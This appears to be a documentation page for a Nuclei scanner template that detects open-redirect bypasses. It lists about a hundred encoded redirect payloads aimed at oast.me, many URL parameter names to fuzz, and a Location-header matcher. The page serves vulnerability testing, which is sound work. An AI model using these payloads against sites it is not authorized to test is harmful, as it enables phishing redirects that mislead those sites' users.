Open Redirect Bypass
ID: open-redirect-bypass
Severity: medium
Author: ritikchaddha
Tags: redirect,dast
Description
Section titled “Description”YAML Source
Section titled “YAML Source”id: open-redirect-bypass
info: name: Open Redirect Bypass author: ritikchaddha severity: medium metadata: max-request: 1 tags: redirect,dast
http: - pre-condition: - type: dsl dsl: - 'method == "GET"'
payloads: redirect: - "{{Hostname}}.oast.me" - "//oast.me" - '////oast.me' - "https:oast.me" - '\/\/oast.me/' - '/\/oast.me/' - "oast。me" - "//oast%E3%80%82me" - "//oast%00.me" - "@oast.me/" - '/\{{Hostname}}%40oast.me' - "{{Hostname}}@oast.me/" - "{{RootURL}}/http://www.oast.me/" - "{{RootURL}}?http://www.oast.me/" - '%09/oast.me/' - '%5C%5Coast.me/%252e%252e%252f' - '%5Coast.me' - '%5coast.me/%2f%2e%2e' - '%5c{{RootURL}}oast.me/%2f%2e%2e' - '../oast.me' - '.oast.me' - '/%5coast.me' - '////\;@oast.me' - '///oast.me' - '///oast.me/%2f%2e%2e' - '///oast.me@//' - '///{{RootURL}}oast.me/%2f%2e%2e' - '//;@oast.me' - '//\/oast.me/' - '//\@oast.me' - '//\oast.me' - '//\toast.me/' - '//oast.me/%2F..' - '//oast.me//' - '//%69%6e%74%65%72%61%63%74%2e%73%68' - '//oast.me@//' - '//oast.me\toast.me/' - '//https://oast.me@//' - '/<>//oast.me' - '/\/\/oast.me/' - '/\/oast.me' - '/\oast.me' - '/oast.me' - '/oast.me/%2F..' - '/oast.me/' - '/oast.me/..;/css' - '/https:oast.me' - '/{{RootURL}}oast.me/' - '/〱oast.me' - '/〵oast.me' - '/ゝoast.me' - '/ーoast.me' - '/ｰoast.me' - '<>//oast.me' - '@oast.me' - '@https://oast.me' - '\/\/oast.me/' - 'oast%E3%80%82me' - 'oast.me' - 'oast.me/' - 'oast.me//' - 'oast.me;@' - 'https%3a%2f%2foast.me%2f' - 'https:%0a%0doast.me' - 'https://%0a%0doast.me' - 'https://%09/oast.me' - 'https://%2f%2f.oast.me/' - 'https://%3F.oast.me/' - 'https://%5c%5c.oast.me/' - 'https://%5coast.me@' - 'https://%23.oast.me/' - 'https://.oast.me' - 'https://////oast.me' - 'https:///oast.me' - 'https:///oast.me/%2e%2e' - 'https:///oast.me/%2f%2e%2e' - 'https://:80#@oast.me/' - 'https://:@\@oast.me' - 'https://:@oast.me\@oast.me' - 'https://;@oast.me' - 'https://\toast.me/' - 'https://oast.me/oast.me' - 'https://oast.me/https://oast.me/' - 'https://www.\.oast.me' - 'https:/\/\oast.me' - 'https:/\oast.me' - 'https:/oast.me' - 'https:oast.me' - '{{RootURL}}oast.me' - '〱oast.me' - '〵oast.me' - 'ゝoast.me' - 'ーoast.me' - 'ｰoast.me' - 'redirect/oast.me' - 'cgi-bin/redirect.cgi?oast.me' - 'out?oast.me' - 'login?to=http://oast.me' - '#/oast.me' - '%0a/oast.me/' - '%0d/oast.me/' - '%00/oast.me/'
fuzzing: - part: query mode: single keys: - AuthState - URL - _url - callback - checkout - checkout_url - content - continue - continueTo - counturl - data - dest - dest_url - destination - dir - document - domain - done - download - feed - file - file_name - file_url - folder - folder_url - forward - from_url - go - goto - host - html - http - https - image - image_src - image_url - imageurl - img - img_url - include - langTo - load_file - load_url - login_to - login_url - logout - media - navigation - next - next_page - open - out - page - page_url - pageurl - path - picture - port - proxy - r - r2 - redir - redirect - redirectUri - redirectUrl - redirect_to - redirect_uri - redirect_url - reference - referrer - req - request - ret - retUrl - return - returnTo - return_path - return_to - return_url - rt - rurl - show - site - source - src - target - to - u - uri - url - val - validate - view - window - back - cgi - follow - home - jump - link - location - menu - move - nav - orig_url - out_url - query - auth - callback_url - confirm_url - destination_url - domain_url - entry - exit - forward_url - go_to - goto_url - home_url - image_link - load - logout_url - nav_to - origin - page_link - redirect_link - ref - referrer_url - return_link - return_to_url - source_url - target_url - to_url - validate_url - DirectTo - relay
fuzz: - "{{redirect}}"
- part: query mode: single values: - "https?://" # Replace HTTP URLs with alternatives fuzz: - "{{redirect}}"
stop-at-first-match: true matchers-condition: and matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)oast\.me\/?(\/|[^.].*)?$' # https://regex101.me/r/idfD2e/1
- type: status status: - 301 - 302 - 307# digest: 4a0a0047304502204ebf924d723493c365c9d4d32ba03204835540154f662dfb94b7579f9aad14b9022100e40c6596ab385687b5c2804d8e487496a1ba5835f9cba5d1a8cec27e3f3fab1d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "dast/vulnerabilities/redirect/open-redirect-bypass.yaml"